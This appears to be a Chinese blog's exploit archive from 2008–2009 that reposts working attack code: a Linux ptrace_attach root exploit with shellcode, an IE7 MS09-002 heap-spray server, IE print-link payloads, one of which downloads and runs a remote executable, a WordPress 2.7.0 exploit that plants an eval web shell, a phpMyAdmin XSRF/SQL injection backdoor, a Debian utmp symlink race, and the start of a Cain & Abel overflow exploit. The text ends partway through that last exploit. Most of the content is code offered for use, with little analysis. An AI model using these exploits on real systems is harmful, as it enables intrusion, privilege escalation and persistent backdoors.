存档

‘矩阵毒刺’ 分类的存档

Linux Kernel 2.6.x ptrace_attach Local Privilege Escalation Exploit

2009年5月17日 没有评论 115 views

加点其他跟这个漏洞相关的信息。
----------------------------
素包子:
素包子快速的看了下漏洞利用程序,原理应该是通过 ptrace挂到一个suid root程序上,然后利用ptrace_attach函数的漏洞,以root权限执行指令,产生/tmp/.exp这个local root shell。不幸中的万幸,这个exp写的稍微有点问题,在REDHAT里需要稍作修改才能成功获得root权限。
素包子提供几个临时解决方案以供大家选择(以下方案由简至难):
1、禁用本地所有普通用户账号,直到发布补丁。此方案无法防止有webshell的黑客获得root权限。
2、禁用系统所有的suid root程序,直到发布补丁。此方案会导致系统部分功能无法正常使用。
3、安装sptrace LKM禁用普通用户使用ptrace。此方案对业务影响相对较小,但实施较为复杂。
----------------------------
noop:
漏洞并不是本来存在于ptrace里面的,而是因为在2.6.29中引入了cred_exec_mutex互斥对象,但是使用的时候lock错了对象造成的。所以2.6.29以下版本不要去动脑筋了,没用的。

/*
ptrace_attach privilege escalation exploit by s0m3b0dy

[*] tested on Gentoo 2.6.29rc1

grataz:
Tazo, rassta, nukedclx, maciek, D0hannuk, mivus, wacky, nejmo, filo...

email: s0m3b0dy1 (at) gmail.com
*/

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
char shellcode[] =
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99"
"\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff"
"echo \"#include <stdio.h>\nmain(){setuid(0);if(getuid()==0) printf(\\\"r00teed!\\n\\\");execv(\\\"/bin/bash\\\",0);return 0;}\" > /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;";
struct user_regs_struct322 {
        unsigned long ebx, ecx, edx, esi, edi, ebp, eax;
        unsigned short ds, __ds, es, __es;
        unsigned short fs, __fs, gs, __gs;
        unsigned long orig_eax, eip;
        unsigned short cs, __cs;
        unsigned long eflags, esp;
        unsigned short ss, __ss;
};

main()
{
struct user_regs_struct322  regs;
struct stat buf;
int i,o;
unsigned long * src;
unsigned long * dst;
char *env[2];
env[0]="/usr/bin/gpasswd";  // some suid file
env[1]=0;
if((o=fork()) == 0)
{
execve(env[0],env,0);
exit(0);
}
if(ptrace(PTRACE_ATTACH,o,0,0)==-1)
{
printf("\n[-] Attach\n");
exit(0);
}
 wait((int *)0);
if (ptrace(PTRACE_GETREGS, o, NULL, &regs) == -1){
                printf("\n[-] read registers\n");
    exit(0);
}
printf( "[+] EIP - 0x%08lx\n", regs.eip);
dst= (unsigned long *) regs.eip;
src = (unsigned long *) shellcode;
for(i=0;i<sizeof(shellcode) -1;i+=4)
if (ptrace(PTRACE_POKETEXT, o, dst++, *src++) == -1){
                       printf("\n[-] write shellcode\n");
      exit(0);
}
ptrace(PTRACE_CONT, o, 0, 0);
ptrace(PTRACE_DETACH,o,0,0);
printf("[+] Waiting for root...\n");
sleep(2);
if(!stat("/tmp/.exp",&buf))
{
printf("[+] Executing suid shell /tmp/.exp...\n");
execv("/tmp/.exp",0);
}
else
{
printf("[-] Damn no r00t here :(\n");
}
return 0;
}

分类: 矩阵毒刺 标签: , ,

MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (fast)

2009年3月5日 没有评论 107 views

#
#   Author : Ahmed Obied (ahmed.obied@gmail.com)
#
#   - Based on the code found by str0ke in the wild for MS09-002
#   - Tested using Internet Explorer 7.0.5730.11 on Windows XP SP2
#
#   Usage  : python ie_ms09002.py [port]
#       

import sys, socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class RequestHandler(BaseHTTPRequestHandler):

    def get_payload(self):
        # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub 
        # http://metasploit.com
        payload  = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6f'
        payload += '\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e\x6f\x02\x3a\x4b'
        payload += '\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a\x3a\x51\x4f\x03\x5a\x47'
        payload += '\xe4\x36\x3a\x0f\x81\x33\x71\x97\xc3\x86\x71\x7a\x68\xc3\x7b\x03'
        payload += '\x6e\xc0\x5a\xfa\x54\x56\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68'
        payload += '\xe4\x0e\xfa\x85\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a'
        payload += '\x6b\xc1\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
        payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02\x3a\x66'
        payload += '\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e\x07\x7c\x69\xec'
        payload += '\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61\xd0\x62\x0c\x2c\xd4\x76'
        payload += '\x0a\x02\xb1\x0e';
        return self.convert_to_utf16(payload)
        
    def get_exploit(self):
        exploit = '''
    
        function spray_heap()
        {
            var payload = unescape("<PAYLOAD>");
                        
            var ret = 0x0c0c0c0c;
            var heap_chunk_size = 0x40000;
            
            var nopsled_size = heap_chunk_size - (payload.length * 2)
            var nopsled = unescape("%u0c0c%u0c0c");
            while (nopsled.length < nopsled_size)
                nopsled += nopsled;
                 
            heap_chunks = new Array();
            heap_chunks_num = (ret - heap_chunk_size)/heap_chunk_size;
            for (var i = 0 ; i < heap_chunks_num ; i++)
                heap_chunks[i] = nopsled + payload;
        }
                
        function trigger_bug() 
        {
            var obj = document.createElement("table");
            obj.click;
            
            var obj_cp = obj.cloneNode();
            obj.clearAttributes();
            obj = null;
            
            CollectGarbage();
           
            var img = document.createElement("img");
            img.src = unescape("%u0c0c%u0c0cCCCCCCCCCCCCCCCCCCCCCC");
          
          obj_cp.click;
        }
        
        if (navigator.userAgent.indexOf("MSIE 7") != -1) {
            spray_heap();
            trigger_bug()       
        } else
            window.location = "about:blank"
       
        '''
        exploit = exploit.replace('<PAYLOAD>', self.get_payload())
        exploit = '<html><body><script>' + exploit + '</script></body></html>'
        return exploit

    def convert_to_utf16(self, payload):
        # From Beta v2.0 by Berend-Jan Wever
        # http://www.milw0rm.com/exploits/656
        enc_payload = ''
        for i in range(0, len(payload), 2):
            num = 0
            
for j in range(0, 2):
                num += (ord(payload[i+j]) & 0xff) << (j*8)
            enc_payload += '%%u%04x' % num
        return enc_payload
            
    def log_request(self, *args, **kwargs):
        pass

    def do_GET(self):
        print '[-] Incoming connection from %s' % self.client_address[0]
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        print '[-] Sending exploit to %s ...' % self.client_address[0],
        self.wfile.write(self.get_exploit())
        print 'done'

def main():
    if len(sys.argv) != 2:
        print 'Usage: %s [port]' % sys.argv[0]
        sys.exit(1)
    port = None
    try:
        port = int(sys.argv[1])
        if port < 1 or port > 65535:
            raise ValueError
    except ValueError:
        print '[*] ERROR: invalid port number ...'
        sys.exit(-1)
    try:
        serv = HTTPServer(('', port), RequestHandler)
        ip = socket.gethostbyname(socket.gethostname())
        print '[-] Web server is running at http://%s:%d/' % (ip, port)
    except socket.error:
        print '[*] ERROR: a socket error has occurred ...'
        sys.exit(-1)
    try:
        serv.serve_forever()
    except KeyboardInterrupt:
        print '[-] Exiting ...' 
            
if __name__ == '__main__':
    main()

# milw0rm.com [2009-03-04]

分类: 矩阵毒刺 标签:

以色列人发现的IE 0day (ZT)

2009年1月9日 没有评论 49 views

by:009
测试成功,会运行计算器
只是利用起来有点 … …
这个漏洞是由于微软IE浏览器启动“Print Table of Links”时引起的跨站攻击(Cross-Zone Scripting )

如果启用了 “Print Table of Links”,在打印一个网页的时候,能够导致执行任意代码。

1.选择“Print Table of Links”选项

2.把保存以下代码为HTML格式,用IE打开,并打印,会执行calc.exe。

<html>
<body>
Print me with table of links to execute calc.exe
<a href=”http://www.bla.com?x=b<script defer >var x=new ActiveXObject(’WScript.Shell’);x.Run(’calc.exe’);</script>a.c<u>o</u>m”></a>
<script>window.print();</script>
</body>
</html>

以下代码自动下载http://www.blogjava.net/Files/baicker/calc.rar文件到c:改名为test.exe,然后执行test.exe

<html>
<body>
点击选项,选中打印链表列表,点打印
<a href=”http://www.bl.com?zzz=dsasad
<script defer>
var ForWriting = 2;
var strFile = ‘c:\test2.js’;
var objFSO = new ActiveXObject(’Scripting.FileSystemObject’);
var objStream = objFSO.OpenTextFile(strFile,ForWriting,true,false);
objStream.WriteLine(’var objArgs = ‘http://www.blogjava.net/Files/baicker/calc.rar’;');
objStream.WriteLine(’var objargss =’c:\\test.exe’;');
objStream.WriteLine(’var sGet=new ActiveXObject(’ADODB.Stream’);’);
objStream.WriteLine(’var xGet = false;’);
objStream.WriteLine(’try {’);
objStream.WriteLine(’xGet = new XMLHttpRequest();’);
objStream.WriteLine(’} ‘);
objStream.WriteLine(’catch (trymicrosoft) {’);
objStream.WriteLine(’try {’);
objStream.WriteLine(’ xGet = new ActiveXObject(’Msxml2.XMLHTTP’);’);
objStream.WriteLine(’} ‘);
objStream.WriteLine(’catch (othermicrosoft) {’);
objStream.WriteLine(’ try {’);
objStream.WriteLine(’ xGet = new ActiveXObject(’Microsoft.XMLHTTP’);’);
objStream.WriteLine(’ } ‘);
objStream.WriteLine(’catch (failed) {’);
objStream.WriteLine(’ xGet = false;’);
objStream.WriteLine(’ }’);
objStream.WriteLine(’}');
objStream.WriteLine(’}');
objStream.WriteLine(’xGet.Open (’GET’,objArgs.toLowerCase(),0);’);
objStream.WriteLine(’xGet.Send();’);
objStream.WriteLine(’sGet.Mode=3;’);
objStream.WriteLine(’sGet.Type=1;’);
objStream.WriteLine(’sGet.Open();’);
objStream.WriteLine(’sGet.Write (xGet.ResponseBody);’);
objStream.WriteLine(’sGet.SaveToFile (objargss.toLowerCase(),2);’);
objStream.WriteLine(’var x=new ActiveXObject(’WScript.Shell’);’);
objStream.WriteLine(’x.Run(objargss);’);
objStream.Close();
var objShell = new ActiveXObject(’wscript.shell’);
objShell.Run(strFile);
</script>a.c<u>o</u>m”></a>
<script>window.print();</script>
</body>
</html>

分类: 矩阵毒刺 标签:

Windows WorkStation Remote BufferOverflow(0day)

2009年1月7日 没有评论 115 views

Microsoft Windows WorkStation 服务(windows xp sp3)存在栈溢出漏洞。
a5这个参数,由于在执行wcscpy的字符串拷贝前,没有校验字符串的长度,因此会诱发栈缓冲区溢出(Stack Overflow) ,成功利用可以远程执行任意代码。

存在漏洞DLL 文件: wkssvc 或者 wkssvc.dll
DLL 名称: Network Workstation service library
描述: wkssvc.dll是本地系统进行远程文件打印相关服务文件。
属于: Windows
系统 DLL文件: 是

分析如下(伪代码):

/*
Found by Friddy 12.25
Email:qianyang@ssyeah.com
http://www.friddy.cn
*/
DWORD __userpurge sub_76854A96<eax>(int a1<eax>, HLOCAL *a2<esi>, int a3, wchar_t *a4,wchar_t *a5,int a6, int a7, int a8)
{
  int v8; // eax@1
  int v9; // ebx@1
  HLOCAL v10; // eax@3
  HLOCAL v11; // eax@4
  HLOCAL v12; // eax@7
  HLOCAL v13; // edi@7
  int v15; // ecx@4
  int v16; // edx@4
  int v17; // eax@4
  char v18; // zf@4
  wchar_t *v19; // ST0C_4@5

  v9 = a1;
  v8 = 0;
  if ( a4 )
    v8 = *(_WORD *)(a7 + 2);
  v10 = LocalAlloc(0x40u, v8 + ((2 * v9 + 39) & 0xFFFFFFFE));
  *a2 = v10;
  if ( v10 )
  {
    *(_DWORD *)v10 = 0;
    v15 = a3;
    v16 = a8;
    *((_DWORD *)*a2 + 3) = v9;
    *((_DWORD *)*a2 + 4) = 1;
    *((_DWORD *)*a2 + 5) = v15;
    v17 = dword_7686F588;
    *((_DWORD *)*a2 + 6) = dword_7686F588;
    v18 = a4 == 0;
    *((_DWORD *)*a2 + 8) = v16;
    dword_7686F588 = (v17 + 1) & 0x7FFFFFFF;
    v11 = *a2;
    if ( v18 )
    {
      *((_DWORD *)v11 + 2) = 0;
      *((_DWORD *)*a2 + 7) = 0;
    }
    else
    {
      v19 = a4;
      *((_DWORD *)v11 + 2) = (char *)v11 + 36;
      wcscpy(*((wchar_t **)*a2 + 2), v19);
      *((_DWORD *)*a2 + 7) = (unsigned int)(*a2 + 2 * v9 + 39) & 0xFFFFFFFE;
      wcscpy(*((wchar_t **)*a2 + 7), *(const wchar_t **)(a7 + 4));
    }
    if ( !a5 )
      return 0;
    v12 = LocalAlloc(0x40u, 2 * a6 + 12);
    v13 = v12;
    if ( v12 )
    {
     wcscpy((wchar_t *)v12 + 4, a5);//栈溢出发生在这里
      *((_DWORD *)v13 + 1) = a6;
      *(_DWORD *)v13 = 1;
      *((_DWORD *)*a2 + 1) = v13;
      return 0;
    }
    LocalFree(*a2);
  }
  return GetLastError();
}

###############################################################################################################################################################################################################
//----- (7685499D) --------------------------------------------------------
signed int __stdcall sub_7685499D(int a1, int a2, wchar_t *a3, int a4, wchar_t *a5, int a6, int a7, int a8)
{
  signed int v8; // edi@1
  DWORD v9; // eax@2
  wchar_t *v10; // ecx@7
  int v12; // eax@21
  int v13; // [sp+14h] [bp-4h]@1
  int v14; // [sp+10h] [bp-8h]@1
  int v15; // [sp+Ch] [bp-Ch]@2

  v8 = 0;
  v13 = 0;
  v14 = 0;
  if ( !(unsigned __int8)RtlAcquireResourceExclusive(&unk_7686F3E4, 1) )
  {
    v8 = 2140;
    goto LABEL_18;
  }
  v9 = sub_76852B71((int)&dword_7686F3E0, a1, (int)&v15, 1);
  if ( v9 )
    goto LABEL_13;
  if ( *(_DWORD *)(dword_7686F3E0 + 12 * v15) )
    sub_76854B88(*(_DWORD *)(dword_7686F3E0 + 12 * v15), a5, (int)&v13, (int)&v14);
  if ( v13 )
  {
    if ( !a3 && !*(_DWORD *)(v13 + 8) )
    {
      ++*(_DWORD *)(v13 + 16);
      ++**(_DWORD **)(v13 + 4);
      goto LABEL_17;
    }
    v9 = sub_76854A96(a4, (HLOCAL *)&a3, a2, a3, 0, 0, a7, a8);
    if ( !v9 )
    {
      v12 = *(_DWORD *)(v13 + 4);
      v10 = a3;
      *((_DWORD *)a3 + 1) = *(_DWORD *)(v13 + 4);
      ++*(_DWORD *)v12;
      goto LABEL_8;
    }
LABEL_13:
    v8 = v9;
LABEL_17:
    RtlReleaseResource(&unk_7686F3E4);
LABEL_18:
    NtClose(a2);
    return v8;
  }
  v9 = sub_76854A96(a4, (HLOCAL *)&a3, a2, a3, a5, a6, a7, a8);//这里调用了漏洞,由此触发
  if ( v9 )
    goto LABEL_13;
  v10 = a3;
LABEL_8:
  if ( v14 )
    *(_DWORD *)v14 = v10;
  else
    *(_DWORD&nbsp
;*)(dword_7686F3E0 + 12 * v15) = v10;
  RtlReleaseResource(&unk_7686F3E4);
  return 0;

分类: 矩阵毒刺 标签:

WordPress 2.7.0 admin remote code execution vulnerability

2008年12月25日 没有评论 77 views

by Ryat[puretot]
mail: puretot at gmail dot com
team: http://www.80vul.com
date: 2008-12-18

一分析:

这个漏洞出在后台:

(

wp-admin/post.php

if ( current_user_can('edit_post', $post_ID) ) {
if ( $last = wp_check_post_lock( $post->ID ) ) {
$last_user = get_userdata( $last );
$last_user_name = $last_user ? $last_user->display_name : __('Somebody');
$message = sprintf( __( 'Warning: %s is currently editing this post' ), wp_specialchars( $last_user_name ) );
$message = str_replace( "'", "\'", "<div class='error'><p>$message</p></div>" );
//提交\'经过此处代码处理后变为\\' :)

add_action('admin_notices', create_function( '', "echo '$message';" ) );
//利用上面的方法闭合echo后面的单引号,就可以执行命令了[ex:\';phpinfo();\'];另外这个地方也可以利用create_function函数自身的一个bug[1]来执行命令[ex:\';}phpinfo();//]
} else {
wp_set_post_lock( $post->ID );
wp_enqueue_script('autosave');
}
}
2.EXP:

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
WordPress 2.7.0 remote code execution exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
site: http://www.80vul.com
dork: "powered by WordPress"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 6) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path user pass post
host: target server (ip/hostname)
path: path to wordpress
user: admin login username
pass: admin login password
post: the available post id
Example:
php '.$argv[0].' localhost /wp/ admin 123456 1
+---------------------------------------------------------------------------+
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];
$post = $argv[5];

$shellcode = '\\\';eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));\\\'';
//$shellcode = '\\\';}eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));//';
$shell = 'http://'.$host.$path.'wp-content/plugins/wolvez.php';
/**
* wolvez.php has this code:
* <?eval($_POST[c])?>
*/
$url = $path.'wp-login.php';
$cmd = 'log='.urlencode($user).'&pwd='.urlencode($pass);
$resp = send();
preg_match('/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/', $resp, $admin_cookie);

if (!$admin_cookie)
exit("Exploit Failed!\n");

$url = $path.'wp-admin/user-new.php#add-new-user';
$cmd = '';
$resp = send($admin_cookie[1]);
preg_match('/name="_wpnonce"\svalue="([a-z0-9]{10})"/', $resp, $_wpnonce);

if (!$_wpnonce)
exit("Exploit Failed!\n");

$cmd = '_wpnonce='.$_wpnonce[1].'&action=adduser&user_login=ryat&email=ryat%40ryat.com&pass1=123456&pass2=123456&role=editor&display_name='.$shellcode;
$resp = send($admin_cookie[1]);

if (strpos($resp, 'users.php?usersearch=ryat&update=add#user') === false)
exit("Exploit Failed!\n");

$url = $path.'wp-login.php';
$cmd = 'log=ryat&pwd=123456';
$resp = send();
preg_match('/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/', $resp, $editor_cookie);

if (!$editor_cookie)
exit("Exploit Failed!\n");

$url = $path.'wp-admin/post.php?action=edit&post='.$post;
$cmd = '';
send($editor_cookie[1]);
send($admin_cookie[1]);

if (strpos(file_get_contents($shell), 'puret_t') !== false)
exit("Expoilt Success!\nView Your shell:\t$shell\n");
else
exit("Exploit Failed!\n");

function send($cookie = '')
{
global $host, $path, $url, $cmd;

$data = "POST $url HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Referer: http://$host$path\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$data .= "Host: $host\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n";
$data .= "Connection: Close\r\n";
$data .= "Cookie: $cookie\r\n\r\n";
$data .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

分类: 矩阵毒刺 标签:

phpMyAdmin 3.1.0 (XSRF) SQL Injection Vulnerability

2008年12月9日 没有评论 81 views

Written by Michael Brooks
Special Thanks to str0ke and rGod

Intro:
phpMyAdmin is by far the most popular PHP project.    Between
phpmyadmin  and the xampp project  there are more than 34+ million
downloads from sourceforge.net .   This exploit was released along
side  XSRF attacks against XAMPP and Simple Directory Listing
effectively breaking the top 3 php projects in the same day.

Vulnerable Software info:
SQL injection in phpMyAdmin by means of XSRF.
Exploit tested on Version 3.1.0  release on: 2008-12-01
Works with magic_quotes_gpc=On or Off.

Exploit information:
This is a Remote php code execution PoC exploit.   The exploit is
dropping a php backdoor into /var/www/backdoor.php,  this attack will
not work on the newest Ubuntu or Fedora... machines due to AppArmor
and SELinux respectively.

This is a XSRF attack to access SQL Injection so the same rules for
executing XSRF attacks still apply.
Steps for exploitation:
1)The Victim's browser must be authenticated to phpMyAdmin at the time
of attack.
2)You must know the URL to phpMyAdmin.
3)Finly,  to execute the attack the Victim's browser then needs to
view the malicious img tag:

Exploit for *nix:
<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
path:
/var/www/backdoor.php
backdoor:
<?php eval($_GET[e]);?>

Exploit for a Default XAMPP for Windows Version 1.6.8:
<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+115%2C+116%2C+114%2C+105%2C+112%2C+115%2C+108%2C+97%2C+115%2C+104%2C+101%2C+115%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+41%2C+59%2C+63%2C+62%29+into+outfile+%22c%3A%2Fxampp%2Fhtdocs%2Fbackdoor.php%22+--+1">
</html>
path:
c:/xampp/htdocs/backdoor.php
backdoor:
<?php eval(stripslashes($_GET[e]));?>

The backdoor can be accessed via
http://10.1.1.10/backdoor.php?e=phpinfo();

As a side note, this attack is only GET based so no JavaScript or
ActionScript required!  Screw you NoScript!!!


Technical Details:
The exact sql query that is being executed:
SELECT COUNT(*) FROM `TABLES` where 0 union select char(60, 63, 112,
104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 71, 69, 84, 91, 101, 93,
41, 63, 62) into outfile "/var/www/backdoor.php" -- 1`;

The char() mysql function is being used because the first SQL query is
selecting integer values.    The following php code can be used to
build a custom payload,  the current payload is: <?php
eval($_GET[e])?>

<?php
print charEncode($_GET[code]);
function charEncode($string){
  $char="char(";
  $size=strlen($string);
  for($x=0;$x<$size;$x++){
    $char.=ord($string[$x]).", ";
  }
  $char[strlen($char)-2]=")%00";
  return $char;
}
?>
retroGod  showed me this encoding method back when milw0rm still had a forum.

By default,  if this query is malformed it will redirect you to a
blank query window.  This fooled me for a while,  but then I modified
a line and then I could see that I was in fact causing a mysql error.
./phpmyadmin/libraries/dbi/mysql.dbi.lib.php line 126:
return mysql_query($query,$link);
change it to:
return mysql_query($query,$link) or die($query."<br>".mysql_error($link));

The query that is vulnerable to sql injection is being built in
./phpmyadmin/libraries/db_table_exists.lib.php on line: 63
    $_result = PMA_DBI_try_query(
                   'SELECT COUNT(*) FROM `' .
PMA_sqlAddslashes($table, true) . '`;',
                    null, PMA_DBI_QUERY_STORE);
    
The PMA_sqlAddslashes() only disrupts the use of single quotes '.
This function doesn't protect against sql injection because it ignores
back-ticks ` and  double-quotes ".


This attack is not a textbook example of XSRF, because phpMyAdmin does
have protection against XSRF.  The token used to protect requests is
generated in a secure manner:
./phpmyadmin/libraries/session.ic.php line 96:
if (!isset($_SESSION[' PMA_token '])) {
    $_SESSION[' PMA_token '] = md5(uniqid(rand(), true));
}
As a note the call to md5(); is superstitious.  It doesn't add nor
does it subtract to the session security. Possible md5() collisions do
not affect the integrity of the cryptographic nonce.

The vulnerability is because some request variables are exempt from
token's protection.  For instance the request variables 'db' and
'table'  used in the attack are not unset().
./phpmyadmin/libraries/common.inc.php line 389:
if (! PMA_isValid($_REQUEST['token']) || $_SESSION[' PMA_token '] !=
$_REQUEST['token']) {
   &n
bsp;/**
     *  List of parameters which are allowed from unsafe source
     */
    $allow_list = array(
        /* needed for direct access, see FAQ 1.34
         * also, server needed for cookie login screen (multi-server)
         */
        'server', 'db', 'table', 'target',
        /* Session ID */
        'phpMyAdmin',
        /* Cookie preferences */
        'pma_lang', 'pma_charset', 'pma_collation_connection',
        /* Possible login form */
        'pma_servername', 'pma_username', 'pma_password',
        /* rajk - for playing blobstreamable media */
        'media_type', 'custom_type', 'bs_reference',
        /* rajk - for changing BLOB repository file MIME type */
        'bs_db', 'bs_table', 'bs_ref', 'bs_new_mime_type'
    );
    /**
     * Require cleanup functions
     */
    require_once './libraries/cleanup.lib.php';
    /**
     * Do actual cleanup
     */
    PMA_remove_request_vars($allow_list);

}

and  PMA_remove_request_vars() is in ./phpmyadmin/librarires/cleanup.lib.php:

function PMA_remove_request_vars(&$whitelist)
{
    // do not check only $_REQUEST because it could have been overwritten
    // and use type casting because the variables could have become
    // strings
    $keys = array_keys(array_merge((array)$_REQUEST, (array)$_GET,
(array)$_POST, (array)$_COOKIE));

    foreach($keys as $key) {
        if (! in_array($key, $whitelist)) {
            unset($_REQUEST[$key], $_GET[$key], $_POST[$key], $GLOBALS[$key]);
        } else {
            // allowed stuff could be compromised so escape it
            // we require it to be a string
            if (isset($_REQUEST[$key]) && ! is_string($_REQUEST[$key])) {
                unset($_REQUEST[$key]);
            }
            if (isset($_POST[$key]) && ! is_string($_POST[$key])) {
                unset($_POST[$key]);
            }
            if (isset($_COOKIE[$key]) && ! is_string($_COOKIE[$key])) {
                unset($_COOKIE[$key]);
            }
            if (isset($_GET[$key]) && ! is_string($_GET[$key])) {
                unset($_GET[$key]);
            }
        }
    }
}
As a note,  the & in this function declaration
PMA_remove_request_vars(&$whitelist) means to pass the variable by
reference,  however this function doesn't use that variable reference.
   Again this is superstitious because it has no effect on the code
its self.

# milw0rm.com [2008-12-08]

分类: 矩阵毒刺 标签:

Debian GNU/Linux group utmp to root PoC

2008年12月2日 没有评论 88 views

#!/bin/bash -

echo '
  #include <string.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <utmp.h>
  #include <sys/types.h>
  #include <stdio.h>

  int main(int argc, char *argv[])
  {
    struct utmp entry;
    int i;

    entry.ut_type=LOGIN_PROCESS;
    strcpy(entry.ut_line,"/tmp/x");
    entry.ut_time=0;
    strcpy(entry.ut_user,"badguy");
    strcpy(entry.ut_host,"badhost");
    entry.ut_addr=0;
    for(i=1;i<9;i++) {
      entry.ut_pid=(pid_t)( i + (int)getpid() );
      sprintf(entry.ut_id,"bad%d",i);
      pututline(&entry);
    }
  }
' > /tmp/fillutmp.c

cc -o /tmp/fillutmp /tmp/fillutmp.c

echo 'Ask someone with group utmp privileges to do:'
echo '  chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'
echo -n 'Press [RETURN] to continue... '
read ANS

echo '
  #include <unistd.h>

  int main(int argc, char *argv[])
  {
    while(1)
    {
      unlink("/tmp/x");
      symlink(argv[1],"/tmp/x");
      unlink("/tmp/x");
      symlink(argv[2],"/tmp/x");
    }
  }
' > /tmp/jigglelnk.c

cc -o /tmp/jigglelnk /tmp/jigglelnk.c

HOST=`hostname` # or simply localhost?
echo "Which tty do you think a 'telnet $HOST' will use next?"
echo "(Do that telnet and see...)"
read TTY
echo "You said it will be '$TTY' ..."

ATK=/etc/debian_version # should be /etc/shadow

echo "Starting symlink re-jiggler ..."
/tmp/jigglelnk $TTY $ATK &
JIG=$!

LOOP=0
while :; do
  ((LOOP = $LOOP + 1))
  echo; echo; echo "Try = $LOOP"

  /tmp/fillutmp

  echo "Telnetting... if login succeeds, just exit for next try..."
  /usr/bin/telnet $HOST

  LS=`ls -ld $ATK`
  case "$LS" in
    *root*root* ) ;; # not done yet...
    * )
      echo; echo
      echo "Success after $LOOP tries!"
      echo "$LS"
      echo; echo
      break
    ;;
  esac
done

kill $JIG
rm /tmp/fillutmp /tmp/jigglelnk /tmp/x

# ...
# ~$ logout
# Connection closed by foreign host.
# Success after 12 tries!
# -rw------- 1 psz tty 4 Oct 28  2006 /etc/debian_version

# milw0rm.com [2008-12-01]

分类: 矩阵毒刺 标签:

Cain & Abel <= v4.9.24 .RDP Stack Overflow Exploit

2008年12月2日 没有评论 53 views

把eip改成\x12\x45\xfa\x7f之后在本机测试了下,能够溢出

#!/usr/bin/perl
#
# Cain & Abel <= v4.9.24 .RDP Stack Overflow Exploit
# Exploit by SkD (skdrat@hotmail.com)
# -----------------------------------------------
#
# Nothing much to say about this one. This works on
# an updated Windows XP SP3. On Vista this exploit is way easier
# the more challenging one was on XP, and here it is.
# Enjoy :). Also remember if you want to put your own shellcode
# there are a few character restrictions and using Alpha2 or
# Alpha Numerical won't work at all.
# To open the .RDP file in Cain & Abel, click the
# "Remote Password Decoder Dialog" icon.
# Credits to Encrypt3d.M!nd.
# {Author has no responsibility over the damage you do with this!}

use strict; use warnings;

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19".
"\xc5\xd8\x59\x83\xeb\xfc\xe2\xf4\xe5\x2d\x9c\x59\x19\xc5\x53\x1c".
